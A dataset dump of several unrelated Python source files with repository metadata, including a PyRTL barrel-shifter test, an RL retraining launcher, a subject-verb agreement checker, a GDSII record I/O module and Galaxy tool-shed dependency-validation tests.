71a927afa6e8a1a00204cf42abde2514867c921e

[ "BSD-3-Clause" ]

null

tests/rtllib/test_barrel.py

ryoon/PyRTL

71a927afa6e8a1a00204cf42abde2514867c921e

[ "BSD-3-Clause" ]

null

import unittest import random import pyrtl from pyrtl.rtllib import barrel class TestBarrel(unittest.TestCase): # @classmethod # def setUpClass(cls): # # this is to ensure reproducibility # random.seed(777906374) def setUp(self): pyrtl.reset_working_block() self.inp_val = pyrtl.Input(8, 'inp_val') self.inp_shift = pyrtl.Input(2, 'inp_shift') self.out_zeros = pyrtl.Output(18, 'out_zeros') self.out_ones = pyrtl.Output(18, 'out_ones') def test_shift_left(self): random.seed(777906373) zero = pyrtl.Const(0, 1) one = pyrtl.Const(1, 1) self.out_zeros <<= barrel.barrel_shifter(self.inp_val, zero, one, self.inp_shift) self.out_ones <<= barrel.barrel_shifter(self.inp_val, one, one, self.inp_shift) sim_trace = pyrtl.SimulationTrace() sim = pyrtl.Simulation(tracer=sim_trace) vals = [random.randint(0, 20) for v in range(20)] shifts = [random.randint(0, 3) for s in range(20)] for i in range(len(vals)): sim.step({ self.inp_val: vals[i], self.inp_shift: shifts[i] }) base_sum = vals[i] * pow(2, shifts[i]) self.assertEquals(sim.inspect(self.out_zeros), base_sum) self.assertEquals(sim.inspect(self.out_ones), base_sum + pow(2, shifts[i]) - 1) def test_shift_right(self): random.seed(777906374) zero = pyrtl.Const(0, 1) one = pyrtl.Const(1, 1) self.out_zeros <<= barrel.barrel_shifter(self.inp_val, zero, zero, self.inp_shift) self.out_ones <<= barrel.barrel_shifter(self.inp_val, one, zero, self.inp_shift) sim_trace = pyrtl.SimulationTrace() sim = pyrtl.Simulation(tracer=sim_trace) vals = [random.randint(0, 20) for v in range(20)] shifts = [random.randint(0, 3) for s in range(20)] for i in range(len(vals)): sim.step({ self.inp_val: vals[i], self.inp_shift: shifts[i] }) base_sum = int(vals[i] / pow(2, shifts[i])) self.assertEqual(sim.inspect(self.out_zeros), base_sum, "failed on value %d" % vals[i]) extra_sum = sum([pow(2, len(self.inp_val) - b - 1) for b in range(shifts[i])]) self.assertEquals(sim.inspect(self.out_ones), base_sum + extra_sum, "failed on value %d" % vals[i])

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99

0.595432

343

2,452

4.107872

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0.074521

0.056778

0.065295

0.651526

0.572747

0.53939

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0

0.036558

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2,452

59

100

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0

0.163265

0

null

0

null

0

1

0

a8514bbfb63dbbb2d0407c295ba64862f4ef0007

918

py

Python

train_from_checkpoint.py

harry-uglow/Curriculum-Reinforcement-Learning

cb050556e1fdc7b7de8d63ad932fc712a35ac144

[ "MIT" ]

15

2020-02-02T22:22:41.000Z

2022-03-03T07:50:45.000Z

train_from_checkpoint.py

harry-uglow/Deep-RL-Sim2Real

cb050556e1fdc7b7de8d63ad932fc712a35ac144

[ "MIT" ]

8

2020-01-28T20:45:54.000Z

2022-03-14T07:58:27.000Z

train_from_checkpoint.py

harry-uglow/Curriculum-Reinforcement-Learning

cb050556e1fdc7b7de8d63ad932fc712a35ac144

[ "MIT" ]

5

2020-03-26T15:46:51.000Z

2022-01-17T09:48:02.000Z

import os from main import args if __name__ == "__main__": pipeline_base = args.pipeline results = [] tags = [] save_base = args.save_as target = args.trg_succ_rate for i in range(5): length = f"{2**i}cm" curr_pipeline = f"{args.pipeline}_{2**i}" args.trg_succ_rate = target for seed in [0, 16, 32]: print(f"Training with {length} curriculum (if available)...") try: os.system(f"python main.py --save-as {save_base}_{length} --scene-name dish_rack " f"--num-steps 256 --num-processes 16 --no-cuda --eval-interval 4 " f"--initial-policy {save_base}_{length}_{seed}_dish_rack_11 " f"--reuse-residual --trg-succ-rate {args.trg_succ_rate} " f"--pipeline rack_res") except KeyError: continue

35.307692

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0.539216

116

918

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0.525862

0.060086

0.094421

0.096567

0

0.026273

0.336601

918

25

99

36.72

0.738916

0

0.38386

0.067612

0

1

0

false

0

0.090909

0

0.090909

0.045455

0

null

0

null

0

1

0

a8542643da025c6082b1912116a149f8d9ed2712

1,613

py

Python

ch7/7_3_SVArule.py

bronevet-abc/NLPython

edb2f2c558215df556449c0fafb717d3442cfd9b

[ "MIT" ]

null

ch7/7_3_SVArule.py

bronevet-abc/NLPython

edb2f2c558215df556449c0fafb717d3442cfd9b

[ "MIT" ]

null

ch7/7_3_SVArule.py

bronevet-abc/NLPython

edb2f2c558215df556449c0fafb717d3442cfd9b

[ "MIT" ]

null

from pycorenlp import StanfordCoreNLP from nltk.tree import Tree nlp = StanfordCoreNLP('http://localhost:9000') def rulelogic(sentnece): leaves_list = [] text = (sentnece) output = nlp.annotate(text, properties={ 'annotators': 'tokenize,ssplit,pos,depparse,parse', 'outputFormat': 'json' }) parsetree = output['sentences'][0]['parse'] #print parsetree for i in Tree.fromstring(parsetree).subtrees(): if i.label() == 'PRP': #print i.leaves(), i.label() leaves_list.append(i.leaves()) if i.label() == 'VBP' or i.label() == 'VBZ': #print i.leaves(), i.label() leaves_list.append(i.label()) #print leaves_list if (any("We" in x for x in leaves_list) or any("I" in x for x in leaves_list) or any( "You" in x for x in leaves_list) or any("They" in x for x in leaves_list)) and any("VBZ" in x for x in leaves_list): print("Alert: \nPlease check Subject and verb in the sentence.\nYou may have plural subject and singular verb. ") elif(any("He" in x for x in leaves_list) or any("She" in x for x in leaves_list) or any( "It" in x for x in leaves_list)) and any("VBP" in x for x in leaves_list): print("Alert: \nPlease check subject and verb in the sentence.\n" \ "You may have singular subject and plural verb.") else: print("You have correct sentence.") if __name__ == "__main__": rulelogic('We know cooking.') # 'He drink tomato soup in the morning.' # 'We plays game online. # She know cooking.

40.325

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1,613

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0.133745

0.055556

0.064815

0.386831

0.139918

0

0.004188

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1,613

39

137

41.358974

0.809883

0.102914

0

0.037037

0.266667

0.023611

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false

0

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0

0.111111

0

null

0

null

0

1

0

a854da79478676b3e52986d8ebfc520db2a322db

17,336

py

Python

litho/gdsii/record.py

xj361685640/DimmiLitho

2d3d335bdab8ae628f328c264b655b180881e3a1

[ "MIT" ]

32

2016-05-27T07:35:44.000Z

2022-03-24T07:53:03.000Z

litho/gdsii/record.py

xj361685640/DimmiLitho

2d3d335bdab8ae628f328c264b655b180881e3a1

[ "MIT" ]

2

2021-05-04T03:09:48.000Z

2021-12-04T17:24:55.000Z

litho/gdsii/record.py

xj361685640/DimmiLitho

2d3d335bdab8ae628f328c264b655b180881e3a1

[ "MIT" ]

18

2017-06-27T06:16:34.000Z

2022-03-21T06:52:35.000Z

# -*- coding: utf-8 -*- # # Copyright © 2010 Eugeniy Meshcheryakov <eugen@debian.org> # # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU Lesser General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU Lesser General Public License for more details. # # You should have received a copy of the GNU Lesser General Public License # along with this program. If not, see <http://www.gnu.org/licenses/>. """ :mod:`gdsii.record` --- GDSII record I/O ======================================== This module contains classes for low-level GDSII I/O. .. moduleauthor:: Eugeniy Meshcheryakov <eugen@debian.org> """ import math import struct from datetime import datetime from . import exceptions, tags, types __all__ = ["Record", "Reader"] _RECORD_HEADER_FMT = struct.Struct(">HH") def _parse_nodata(data): """Parse :const:`NODATA` data type. Does nothing.""" def _parse_bitarray(data): """ Parse :const:`BITARRAY` data type. >>> _parse_bitarray(b'ab') # ok, 2 bytes 24930 >>> _parse_bitarray(b'abcd') # too long Traceback (most recent call last): ... IncorrectDataSize: BITARRAY >>> _parse_bitarray('') # zero bytes Traceback (most recent call last): ... IncorrectDataSize: BITARRAY """ if len(data) != 2: raise exceptions.IncorrectDataSize("BITARRAY") (val,) = struct.unpack(">H", data) return val def _parse_int2(data): """ Parse INT2 data type. >>> _parse_int2(b'abcd') # ok, even number of bytes (24930, 25444) >>> _parse_int2(b'abcde') # odd number of bytes Traceback (most recent call last): ... IncorrectDataSize: INT2 >>> _parse_int2(b'') # zero bytes Traceback (most recent call last): ... IncorrectDataSize: INT2 """ data_len = len(data) if not data_len or (data_len % 2): raise exceptions.IncorrectDataSize("INT2") return struct.unpack(">%dh" % (data_len // 2), data) def _parse_int4(data): """ Parse INT4 data type. >>> _parse_int4(b'abcd') (1633837924,) >>> _parse_int4(b'abcdef') # not divisible by 4 Traceback (most recent call last): ... IncorrectDataSize: INT4 >>> _parse_int4(b'') # zero bytes Traceback (most recent call last): ... IncorrectDataSize: INT4 """ data_len = len(data) if not data_len or (data_len % 4): raise exceptions.IncorrectDataSize("INT4") return struct.unpack(">%dl" % (data_len // 4), data) def _int_to_real(num): """ Convert REAL8 from internal integer representation to Python reals. Zeroes: >>> print(_int_to_real(0x0)) 0.0 >>> print(_int_to_real(0x8000000000000000)) # negative 0.0 >>> print(_int_to_real(0xff00000000000000)) # denormalized 0.0 Others: >>> print(_int_to_real(0x4110000000000000)) 1.0 >>> print(_int_to_real(0xC120000000000000)) -2.0 """ sgn = -1 if 0x8000000000000000 & num else 1 mant = num & 0x00FFFFFFFFFFFFFF exp = (num >> 56) & 0x7F return math.ldexp(sgn * mant, 4 * (exp - 64) - 56) def _parse_real8(data): """ Parse REAL8 data type. >>> _parse_real8(struct.pack('>3Q', 0x0, 0x4110000000000000, 0xC120000000000000)) (0.0, 1.0, -2.0) >>> _parse_real8(b'') # zero bytes Traceback (most recent call last): ... IncorrectDataSize: REAL8 >>> _parse_real8(b'abcd') # not divisible by 8 Traceback (most recent call last): ... IncorrectDataSize: REAL8 """ data_len = len(data) if not data_len or (data_len % 8): raise exceptions.IncorrectDataSize("REAL8") ints = struct.unpack(">%dQ" % (data_len // 8), data) return tuple(_int_to_real(n) for n in ints) def _parse_ascii(data): r""" Parse ASCII data type. >>> _parse_ascii(b'') # zero bytes Traceback (most recent call last): ... IncorrectDataSize: ASCII >>> _parse_ascii(b'abcde') == b'abcde' True >>> _parse_ascii(b'abcde\0') == b'abcde' # strips trailing NUL True """ if not len(data): raise exceptions.IncorrectDataSize("ASCII") # XXX cross-version compatibility if data[-1:] == b"\0": return data[:-1] return data _PARSE_FUNCS = { types.NODATA: _parse_nodata, types.BITARRAY: _parse_bitarray, types.INT2: _parse_int2, types.INT4: _parse_int4, types.REAL8: _parse_real8, types.ASCII: _parse_ascii, } def _pack_nodata(data): """ Pack NODATA tag data. Should always return empty string:: >>> packed = _pack_nodata([]) >>> packed == b'' True >>> len(packed) 0 """ return b"" def _pack_bitarray(data): """ Pack BITARRAY tag data. >>> packed = _pack_bitarray(123) >>> packed == struct.pack('>H', 123) True >>> len(packed) 2 """ return struct.pack(">H", data) def _pack_int2(data): """ Pack INT2 tag data. >>> _pack_int2([1, 2, -3]) == struct.pack('>3h', 1, 2, -3) True >>> packed = _pack_int2((1, 2, 3)) >>> packed == struct.pack('>3h', 1, 2, 3) True >>> len(packed) 6 """ size = len(data) return struct.pack(">{0}h".format(size), *data) def _pack_int4(data): """ Pack INT4 tag data. >>> _pack_int4([1, 2, -3]) == struct.pack('>3l', 1, 2, -3) True >>> packed = _pack_int4((1, 2, 3)) >>> packed == struct.pack('>3l', 1, 2, 3) True >>> len(packed) 12 """ size = len(data) return struct.pack(">{0}l".format(size), *data) def _real_to_int(fnum): """ Convert REAL8 from Python real to internal integer representation. >>> '0x%016x' % _real_to_int(0.0) '0x0000000000000000' >>> print(_int_to_real(_real_to_int(1.0))) 1.0 >>> print(_int_to_real(_real_to_int(-2.0))) -2.0 >>> print(_int_to_real(_real_to_int(1e-9))) 1e-09 """ # first convert number to IEEE double and split it in parts (ieee,) = struct.unpack("=Q", struct.pack("=d", fnum)) sign = ieee & 0x8000000000000000 ieee_exp = (ieee >> 52) & 0x7FF ieee_mant = ieee & 0xFFFFFFFFFFFFF if ieee_exp == 0: # zero or denormals # TODO maybe handle denormals return 0 # substract exponent bias unb_ieee_exp = ieee_exp - 1023 # add leading one and move to GDSII position ieee_mant_full = (ieee_mant + 0x10000000000000) << 3 # convert exponent to 16-based, +1 for differences in presentation # of mantissa (1.xxxx in EEEE and 0.1xxxxx in GDSII exp16, rest = divmod(unb_ieee_exp + 1, 4) # compensate exponent converion if rest: rest = 4 - rest exp16 += 1 ieee_mant_comp = ieee_mant_full >> rest # add GDSII exponent bias exp16_biased = exp16 + 64 # try to fit everything if exp16_biased < -14: return 0 # number is too small. FIXME is it possible? elif exp16_biased < 0: ieee_mant_comp = ieee_mant_comp >> (exp16_biased * 4) exp16_biased = 0 elif exp16_biased > 0x7F: raise exceptions.FormatError("number is to big for REAL8") return sign | (exp16_biased << 56) | ieee_mant_comp def _pack_real8(data): """ Pack REAL8 tag data. >>> packed = _pack_real8([0, 1, -1, 0.5, 1e-9]) >>> len(packed) 40 >>> list(map(str, _parse_real8(packed))) ['0.0', '1.0', '-1.0', '0.5', '1e-09'] """ size = len(data) return struct.pack(">{0}Q".format(size), *[_real_to_int(num) for num in data]) def _pack_ascii(data): r""" Pack ASCII tag data. >>> _pack_ascii(b'abcd') == b'abcd' True >>> _pack_ascii(b'abc') == b'abc\0' True """ size = len(data) if size % 2: return data + b"\0" return data _PACK_FUNCS = { types.NODATA: _pack_nodata, types.BITARRAY: _pack_bitarray, types.INT2: _pack_int2, types.INT4: _pack_int4, types.REAL8: _pack_real8, types.ASCII: _pack_ascii, } class Record(object): """ Class for representing a GDSII record with attached data. Example:: >>> r = Record(tags.STRNAME, 'my_structure') >>> '%04x' % r.tag '0606' >>> r.tag_name 'STRNAME' >>> r.tag_type 6 >>> r.tag_type_name 'ASCII' >>> r.data 'my_structure' >>> r = Record(0xffff, 'xxx') # Unknown tag type >>> r.tag_name '0xffff' >>> r.tag_type_name '0xff' """ __slots__ = ["tag", "data"] def __init__(self, tag, data=None, points=None, times=None, acls=None): """Initialize with tag and parsed data.""" self.tag = tag if data is not None: self.data = data elif points is not None: new_data = [] # TODO make it faster for point in points: new_data.append(point[0]) new_data.append(point[1]) self.data = new_data elif times is not None: mod_time = times[0] acc_time = times[1] self.data = ( mod_time.year - 1900, mod_time.month, mod_time.day, mod_time.hour, mod_time.minute, mod_time.second, acc_time.year - 1900, acc_time.month, acc_time.day, acc_time.hour, acc_time.minute, acc_time.second, ) elif acls is not None: new_data = [] for acl in acls: new_data.extend(acl) self.data = new_data else: self.data = None def check_tag(self, tag): """ Checks if current record has the same tag as the given one. Raises :exc:`MissingRecord` exception otherwise. For example:: >>> rec = Record(tags.STRNAME, b'struct') >>> rec.check_tag(tags.STRNAME) >>> rec.check_tag(tags.DATATYPE) Traceback (most recent call last): ... MissingRecord: Wanted: 3586, got: STRNAME """ if self.tag != tag: raise exceptions.MissingRecord("Wanted: %s, got: %s" % (tag, self.tag_name)) def check_size(self, size): """ Checks if data size equals to the given size. Raises :exc:`DataSizeError` otherwise. For example:: >>> rec = Record(tags.DATATYPE, (0,)) >>> rec.check_size(1) >>> rec.check_size(5) Traceback (most recent call last): ... DataSizeError: 3586 """ if len(self.data) != size: raise exceptions.DataSizeError(self.tag) @classmethod def read(cls, stream): """ Read a GDSII record from file. :param stream: GDS file opened for reading in binary mode :returns: a new :class:`Record` instance :raises: :exc:`UnsupportedTagType` if data cannot be parsed :raises: :exc:`EndOfFileError` if end of file is reached """ header = stream.read(4) if not header or len(header) != 4: raise exceptions.EndOfFileError data_size, tag = _RECORD_HEADER_FMT.unpack(header) if data_size < 4: raise exceptions.IncorrectDataSize("data size is too small") if data_size % 2: raise exceptions.IncorrectDataSize("data size is odd") data_size -= 4 # substract header size data = stream.read(data_size) if len(data) != data_size: raise exceptions.EndOfFileError tag_type = tags.type_of_tag(tag) try: parse_func = _PARSE_FUNCS[tag_type] except KeyError: raise exceptions.UnsupportedTagType(tag_type) return cls(tag, parse_func(data)) def save(self, stream): """ Save record to a GDS file. :param stream: file opened for writing in binary mode :raises: :exc:`UnsupportedTagType` if tag type is not supported :raises: :exc:`FormatError` on incorrect data sizes, etc :raises: whatever :func:`struct.pack` can raise """ tag_type = self.tag_type try: pack_func = _PACK_FUNCS[tag_type] except KeyError: raise exceptions.UnsupportedTagType(tag_type) packed_data = pack_func(self.data) record_size = len(packed_data) + 4 if record_size > 0xFFFF: raise exceptions.FormatError("data size is too big") header = _RECORD_HEADER_FMT.pack(record_size, self.tag) stream.write(header) stream.write(packed_data) @property def tag_name(self): """Tag name, if known, otherwise tag ID formatted as hex number.""" if self.tag in tags.REV_DICT: return tags.REV_DICT[self.tag] return "0x%04x" % self.tag @property def tag_type(self): """Tag data type ID.""" return tags.type_of_tag(self.tag) @property def tag_type_name(self): """Tag data type name, if known, and formatted number otherwise.""" tag_type = tags.type_of_tag(self.tag) if tag_type in types.REV_DICT: return types.REV_DICT[tag_type] return "0x%02x" % tag_type @property def points(self): """ Convert data to list of points. Useful for :const:`XY` record. Raises :exc:`DataSizeError` if data size is incorrect. For example:: >>> r = Record(tags.XY, [0, 1, 2, 3]) >>> r.points [(0, 1), (2, 3)] >>> r = Record(tags.XY, []) # not allowed >>> r.points Traceback (most recent call last): ... DataSizeError: 4099 >>> r = Record(tags.XY, [1, 2, 3]) # odd number of coordinates >>> r.points Traceback (most recent call last): ... DataSizeError: 4099 """ data_size = len(self.data) if not data_size or (data_size % 2): raise exceptions.DataSizeError(self.tag) return [(self.data[i], self.data[i + 1]) for i in range(0, data_size, 2)] @property def times(self): """ Convert data to tuple ``(modification time, access time)``. Useful for :const:`BGNLIB` and :const:`BGNSTR`. >>> r = Record(tags.BGNLIB, [100, 1, 1, 1, 2, 3, 110, 8, 14, 21, 10, 35]) >>> print(r.times[0].isoformat()) 2000-01-01T01:02:03 >>> print(r.times[1].isoformat()) 2010-08-14T21:10:35 >>> r = Record(tags.BGNLIB, [100, 1, 1, 1, 2, 3]) # wrong data length >>> r.times Traceback (most recent call last): ... DataSizeError: 258 """ if len(self.data) != 12: raise exceptions.DataSizeError(self.tag) return ( datetime(self.data[0] + 1900, *self.data[1:6]), datetime(self.data[6] + 1900, *self.data[7:12]), ) @property def acls(self): """ Convert data to list of acls ``(GID, UID, ACCESS)``. Useful for :const:`LIBSECUR`. >>> r = Record(tags.LIBSECUR, [1, 2, 3, 4, 5, 6]) >>> r.acls [(1, 2, 3), (4, 5, 6)] >>> r = Record(tags.LIBSECUR, [1, 2, 3, 4]) # wrong data size >>> r.acls Traceback (most recent call last): ... DataSizeError: 15106 """ if len(self.data) % 3: raise exceptions.DataSizeError(self.tag) return list(zip(self.data[::3], self.data[1::3], self.data[2::3])) @classmethod def iterate(cls, stream): """ Generator function for iterating over all records in a GDSII file. Yields :class:`Record` objects. :param stream: GDS file opened for reading in binary mode """ last = False while not last: rec = cls.read(stream) if rec.tag == tags.ENDLIB: last = True yield rec class Reader(object): """Class for buffered reading of Records""" __slots__ = ("current", "stream") def __init__(self, stream): self.stream = stream def read_next(self): """Read and return next record from stream.""" self.current = Record.read(self.stream) return self.current if __name__ == "__main__": import doctest doctest.testmod(optionflags=doctest.IGNORE_EXCEPTION_DETAIL)

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a8566907344117140f18d19e73cdf9613f31abbd

4,778

py

Python

texts/objects/helper.py

nicolay-r/frame-based-attitude-extraction-workflow

f20e6d17a9eb6613028545b889c74626a8260ccd

[ "MIT" ]

null

texts/objects/helper.py

nicolay-r/frame-based-attitude-extraction-workflow

f20e6d17a9eb6613028545b889c74626a8260ccd

[ "MIT" ]

6

2020-10-03T13:45:38.000Z

2021-07-13T18:31:57.000Z

texts/objects/helper.py

nicolay-r/frame-based-attitude-extraction-workflow

f20e6d17a9eb6613028545b889c74626a8260ccd

[ "MIT" ]

null

from collections import Iterable from core.processing.ner.obj_decs import NerObjectDescriptor from texts.objects.authorized.collection import AuthorizedObjectsCollection from texts.objects.authorized.object import AuthTextObject class TextObjectHelper: def __init__(self): pass @staticmethod def __optionally_fix(term, template, remove): if template not in term: return term if not remove: # Perform cut operation from_ind = term.index(template) if from_ind > 0: return term[:from_ind] else: # Removing the related template. return term.replace(template, "") return term @staticmethod def fix_terms_inplace(input_terms): """ Fix remove extra garbage, that was not captured by text reader. """ for i, term in enumerate(input_terms): # Optionally remove &quote. upd_term = TextObjectHelper.__optionally_fix(term=term, template='&quot', remove=True) # Optionally cut everything till &#CODE. upd_term = TextObjectHelper.__optionally_fix(term=upd_term, template='&#', remove=False) # Extra tags. upd_term = TextObjectHelper.__optionally_fix(term=upd_term, template='<', remove=False) input_terms[i] = upd_term @staticmethod def try_fix_object_value(obj_desc, input_terms, is_term_func, check_obj_includes_non_term=True): assert(isinstance(obj_desc, NerObjectDescriptor)) assert(isinstance(input_terms, list)) assert(callable(is_term_func)) r_len = obj_desc.Length i, j = obj_desc.get_range() j -= 1 # Crop from non-terms at left and right object bounds. changed = False while not is_term_func(i) or not is_term_func(j): if not is_term_func(i): i += 1 r_len -= 1 changed = True if not is_term_func(j): j -= 1 r_len -= 1 changed = True if i >= len(input_terms): break if j == 0: break if i > j: break if i > j: return None if check_obj_includes_non_term: for index in range(i, j+1): if not is_term_func(index): return None if not changed: return obj_desc return NerObjectDescriptor(pos=i, length=r_len, obj_type=obj_desc.ObjectType) @staticmethod def iter_missed_objects(lemmas_list, existed_objects, auth_objects, get_collection_ind_func): assert(isinstance(lemmas_list, list)) assert(isinstance(existed_objects, Iterable)) assert(isinstance(auth_objects, AuthorizedObjectsCollection)) assert(callable(get_collection_ind_func)) used = [False] * len(lemmas_list) for obj in existed_objects: bound = obj.get_bound() i = bound.TermIndex while i < bound.TermIndex + bound.Length: used[i] = True i += 1 position = 0 while position < len(used): if used[position]: position += 1 continue max_term_length = 1 while max_term_length < auth_objects.MaxTermLength: index = position + max_term_length if index >= len(used): break if used[index]: break max_term_length += 1 next_position = position + 1 for r_offset in reversed(list(range(max_term_length))): last_term_index = position + r_offset if not (last_term_index < len(used)): position = next_position break terms = lemmas_list[position:last_term_index+1] lemma_value = ' '.join(terms) if not auth_objects.has_value(lemma_value): if r_offset == 0: position = next_position break else: continue yield AuthTextObject(terms=terms, position=position, is_auth=True, obj_type="UNKN", description="restored", collection_ind=get_collection_ind_func()) position = last_term_index + 1 break

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null

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null

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a85705db77f222ff628abe4c8a385fc228d7d2bd

9,539

py

Python

data/train/python/a85705db77f222ff628abe4c8a385fc228d7d2bdtest_0110_invalid_simple_repository_dependencies.py

harshp8l/deep-learning-lang-detection

2a54293181c1c2b1a2b840ddee4d4d80177efb33

[ "MIT" ]

84

2017-10-25T15:49:21.000Z

2021-11-28T21:25:54.000Z

data/train/python/a85705db77f222ff628abe4c8a385fc228d7d2bdtest_0110_invalid_simple_repository_dependencies.py

vassalos/deep-learning-lang-detection

cbb00b3e81bed3a64553f9c6aa6138b2511e544e

[ "MIT" ]

5

2018-03-29T11:50:46.000Z

2021-04-26T13:33:18.000Z

data/train/python/a85705db77f222ff628abe4c8a385fc228d7d2bdtest_0110_invalid_simple_repository_dependencies.py

vassalos/deep-learning-lang-detection

cbb00b3e81bed3a64553f9c6aa6138b2511e544e

[ "MIT" ]

24

2017-11-22T08:31:00.000Z

2022-03-27T01:22:31.000Z

from tool_shed.base.twilltestcase import common, ShedTwillTestCase datatypes_repository_name = 'emboss_datatypes_0110' datatypes_repository_description = "Galaxy applicable data formats used by Emboss tools." datatypes_repository_long_description = "Galaxy applicable data formats used by Emboss tools. This repository contains no tools." emboss_repository_name = 'emboss_0110' emboss_repository_description = 'Galaxy wrappers for Emboss version 5.0.0 tools' emboss_repository_long_description = 'Galaxy wrappers for Emboss version 5.0.0 tools' category_name = 'Test 0110 Invalid Repository Dependencies' category_desc = 'Test 0110 Invalid Repository Dependencies' class TestBasicRepositoryDependencies( ShedTwillTestCase ): '''Testing emboss 5 with repository dependencies.''' def test_0000_initiate_users( self ): """Create necessary user accounts and login as an admin user.""" self.logout() self.login( email=common.test_user_1_email, username=common.test_user_1_name ) test_user_1 = self.test_db_util.get_user( common.test_user_1_email ) assert test_user_1 is not None, 'Problem retrieving user with email %s from the database' % common.test_user_1_email self.test_db_util.get_private_role( test_user_1 ) self.logout() self.login( email=common.admin_email, username=common.admin_username ) admin_user = self.test_db_util.get_user( common.admin_email ) assert admin_user is not None, 'Problem retrieving user with email %s from the database' % common.admin_email self.test_db_util.get_private_role( admin_user ) def test_0005_create_category( self ): """Create a category for this test suite""" self.create_category( name=category_name, description=category_desc ) def test_0010_create_emboss_datatypes_repository_and_upload_tarball( self ): '''Create and populate the emboss_datatypes repository.''' self.logout() self.login( email=common.test_user_1_email, username=common.test_user_1_name ) category = self.test_db_util.get_category_by_name( category_name ) repository = self.get_or_create_repository( name=datatypes_repository_name, description=datatypes_repository_description, long_description=datatypes_repository_long_description, owner=common.test_user_1_name, category_id=self.security.encode_id( category.id ), strings_displayed=[] ) self.upload_file( repository, filename='emboss/datatypes/datatypes_conf.xml', filepath=None, valid_tools_only=True, uncompress_file=True, remove_repo_files_not_in_tar=False, commit_message='Uploaded datatypes_conf.xml.', strings_displayed=[], strings_not_displayed=[] ) def test_0015_verify_datatypes_in_datatypes_repository( self ): '''Verify that the emboss_datatypes repository contains datatype entries.''' repository = self.test_db_util.get_repository_by_name_and_owner( datatypes_repository_name, common.test_user_1_name ) self.display_manage_repository_page( repository, strings_displayed=[ 'Datatypes', 'equicktandem', 'hennig86', 'vectorstrip' ] ) def test_0020_create_emboss_5_repository_and_upload_files( self ): '''Create and populate the emboss_5_0110 repository.''' category = self.test_db_util.get_category_by_name( category_name ) repository = self.get_or_create_repository( name=emboss_repository_name, description=emboss_repository_description, long_description=emboss_repository_long_description, owner=common.test_user_1_name, category_id=self.security.encode_id( category.id ), strings_displayed=[] ) self.upload_file( repository, filename='emboss/emboss.tar', filepath=None, valid_tools_only=True, uncompress_file=True, remove_repo_files_not_in_tar=False, commit_message='Uploaded emboss tool tarball.', strings_displayed=[], strings_not_displayed=[] ) def test_0025_generate_repository_dependency_with_invalid_url( self ): '''Generate a repository dependency for emboss 5 with an invalid URL.''' dependency_path = self.generate_temp_path( 'test_0110', additional_paths=[ 'simple' ] ) datatypes_repository = self.test_db_util.get_repository_by_name_and_owner( datatypes_repository_name, common.test_user_1_name ) emboss_repository = self.test_db_util.get_repository_by_name_and_owner( emboss_repository_name, common.test_user_1_name ) url = 'http://http://this is not an url!' name = datatypes_repository.name owner = datatypes_repository.user.username changeset_revision = self.get_repository_tip( datatypes_repository ) strings_displayed = [ 'Repository dependencies are currently supported only within the same tool shed' ] repository_tuple = ( url, name, owner, changeset_revision ) self.create_repository_dependency( repository=emboss_repository, filepath=dependency_path, repository_tuples=[ repository_tuple ], strings_displayed=strings_displayed, complex=False ) def test_0030_generate_repository_dependency_with_invalid_name( self ): '''Generate a repository dependency for emboss 5 with an invalid name.''' dependency_path = self.generate_temp_path( 'test_0110', additional_paths=[ 'simple' ] ) repository = self.test_db_util.get_repository_by_name_and_owner( datatypes_repository_name, common.test_user_1_name ) emboss_repository = self.test_db_util.get_repository_by_name_and_owner( emboss_repository_name, common.test_user_1_name ) url = self.url name = '!?invalid?!' owner = repository.user.username changeset_revision = self.get_repository_tip( repository ) strings_displayed = [ 'because the name is invalid.' ] repository_tuple = ( url, name, owner, changeset_revision ) self.create_repository_dependency( repository=emboss_repository, filepath=dependency_path, repository_tuples=[ repository_tuple ], strings_displayed=strings_displayed, complex=False ) def test_0035_generate_repository_dependency_with_invalid_owner( self ): '''Generate a repository dependency for emboss 5 with an invalid owner.''' dependency_path = self.generate_temp_path( 'test_0110', additional_paths=[ 'simple' ] ) repository = self.test_db_util.get_repository_by_name_and_owner( datatypes_repository_name, common.test_user_1_name ) emboss_repository = self.test_db_util.get_repository_by_name_and_owner( emboss_repository_name, common.test_user_1_name ) url = self.url name = repository.name owner = '!?invalid?!' changeset_revision = self.get_repository_tip( repository ) strings_displayed = [ 'because the owner is invalid.' ] repository_tuple = ( url, name, owner, changeset_revision ) self.create_repository_dependency( repository=emboss_repository, filepath=dependency_path, repository_tuples=[ repository_tuple ], strings_displayed=strings_displayed, complex=False ) def test_0040_generate_repository_dependency_with_invalid_changeset_revision( self ): '''Generate a repository dependency for emboss 5 with an invalid changeset revision.''' dependency_path = self.generate_temp_path( 'test_0110', additional_paths=[ 'simple', 'invalid' ] ) repository = self.test_db_util.get_repository_by_name_and_owner( datatypes_repository_name, common.test_user_1_name ) emboss_repository = self.test_db_util.get_repository_by_name_and_owner( emboss_repository_name, common.test_user_1_name ) url = self.url name = repository.name owner = repository.user.username changeset_revision = '!?invalid?!' strings_displayed = [ 'because the changeset revision is invalid.' ] repository_tuple = ( url, name, owner, changeset_revision ) self.create_repository_dependency( repository=emboss_repository, filepath=dependency_path, repository_tuples=[ repository_tuple ], strings_displayed=strings_displayed, complex=False )

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null

0

null

0

1

0

a85887d35309a8a0a9e6464edc0775b4eb8e590c

3,752

py

Python

exchanges/twse/spiders/stock/branch.py

shwang-bk/fin4crawl

3c86add7c30817b1d739e510c321f631a43b9c71

[ "MIT" ]

1

2020-03-26T14:46:55.000Z

exchanges/twse/spiders/stock/branch.py

shwang-bk/fin4crawl

3c86add7c30817b1d739e510c321f631a43b9c71

[ "MIT" ]

null

exchanges/twse/spiders/stock/branch.py

shwang-bk/fin4crawl

3c86add7c30817b1d739e510c321f631a43b9c71

[ "MIT" ]

1

2021-04-10T00:53:14.000Z

